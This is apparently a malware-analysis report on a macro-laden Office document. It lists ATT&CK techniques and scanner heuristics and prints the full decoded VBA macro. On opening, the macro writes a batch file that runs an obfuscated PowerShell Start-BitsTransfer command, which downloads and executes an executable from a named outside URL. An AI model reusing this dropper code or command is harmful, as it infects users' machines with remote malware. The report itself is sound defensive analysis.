MALICIOUS
190
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1059.003 Windows Command Shell
The sample contains VBA macros that execute upon opening the document. The Document_Open macro constructs and executes a PowerShell command to download a second-stage executable from 'http://tawacoffee.com.co/cmsscan.exe' and save it as 'C:\Users\Public\Documents\focustask.exe'. The macro then executes this downloaded file. The document body displays a fake error message to lure the user into enabling macros.
Heuristics 7
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VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPERThe macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.Matched line in script
Private Sub Document_Open() -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set savecall = CreateObject("Shell.Application") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://tawacoffee.com.co/cmsscan.exe In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 898 bytes |
SHA-256: 09de32aaabef23e963819c95b65ddb0e139a8b94c4d6bcf63ccc2bc9af8e5c24 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
stagesome = "C:\Users\Public\Documents\findyourself.bat"
moveready = FreeFile
powerr = "powers"
rshell = "hell"
Open stagesome For Output As moveready
Print #moveready, powerr & rshell & " -w h Start-BitsTransfer -Source http://tawacoffee.com.co/cmsscan.exe -Destination C:\Users\Public\Documents\focustask.exe;C:\Users\Public\Documents\focustask.exe"
Close #moveready
Set savecall = CreateObject("Shell.Application")
Call savecall.Open(stagesome)
End Sub
Attribute VB_Name = "Module1"
Sub ownclass()
'
' ownclass Macro
' NZMXFZ2KBBFC
'
End Sub
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